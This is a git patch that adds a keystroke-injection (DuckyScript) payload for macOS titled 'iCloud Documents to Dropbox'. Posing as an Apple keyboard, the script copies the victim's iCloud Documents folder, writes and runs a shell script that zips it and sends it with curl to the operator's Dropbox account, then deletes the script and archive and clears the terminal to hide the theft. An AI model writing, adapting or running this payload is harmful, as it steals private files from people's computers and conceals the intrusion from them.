From ae164652be4bad5715c16b875b45246c08bfec3a Mon Sep 17 00:00:00 2001 From: Narstybits Date: Sun, 18 Jun 2023 18:29:55 -0500 Subject: [PATCH] Added Icloud Documents to Dropbox --- Executions/Icloud Documents to Dropbox .txt | 77 +++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 Executions/Icloud Documents to Dropbox .txt diff --git a/Executions/Icloud Documents to Dropbox .txt b/Executions/Icloud Documents to Dropbox .txt new file mode 100644 index 0000000..63873a4 --- /dev/null +++ b/Executions/Icloud Documents to Dropbox .txt @@ -0,0 +1,77 @@ +REM This Script will copy all the attachments in the messages app and send them to your dropbox API +REM Replace '' with the systems actual username +REM Replace '' with your actual Dropbox API key + + +REM Here's the breakdown, we navigate to the finder +REM use the Shift GUI G to open up the "go to folder" menu. +REM Then we search for & open the mobile iCloud folder. +REM Now we can type "do" to navigate to the Documents folder +REM we copy it and navigate to a new window to paste the folder +REM Then we zip the folder and send it to the dropbox +REM Using the nohup and & to make sure the code is executed + + + +REM Author: Narsty +REM Title: iCloud Documents to Dropbox +REM Version 2.0 MacOs +REM Category: Execution + + +ID 05ac:021e Apple:Keyboard +DELAY 500 +GUI SPACE +DELAY 500 +STRING Finder +DELAY 1000 +ENTER +DELAY 2000 +GUI-SHIFT g +DELAY 1000 +STRING /Users//Library/mobile +DELAY 500 +ENTER +DELAY 1000 +STRING do +DELAY 500 +GUI c +DELAY 500 +CTRL RIGHTARROW +DELAY 1000 +GUI v +DELAY 15000 +GUI SPACE +DELAY 500 +STRING terminal +DELAY 1000 +ENTER +DELAY 1000 +STRING echo 'cd ~/Desktop && zip -r Documents.zip Documents && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer " -H "Dropbox-API-Arg: {\"path\": \"/Documents.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @Documents.zip' > upload.sh +DELAY 1000 +ENTER +DELAY 2000 +STRING chmod +x upload.sh +DELAY 500 +ENTER +DELAY 500 +STRING ./upload.sh +DELAY 500 +ENTER +DELAY 7000 +CTRL C +DELAY 500 +STRING rm upload.sh +DELAY 500 +ENTER +DELAY 500 +STRING rm -r ~/Desktop/Documents.zip +ENTER +DELAY 500 +STRING CLEAR +DELAY 500 +ENTER +DELAY 500 +GUI w +DELAY 500 +ENTER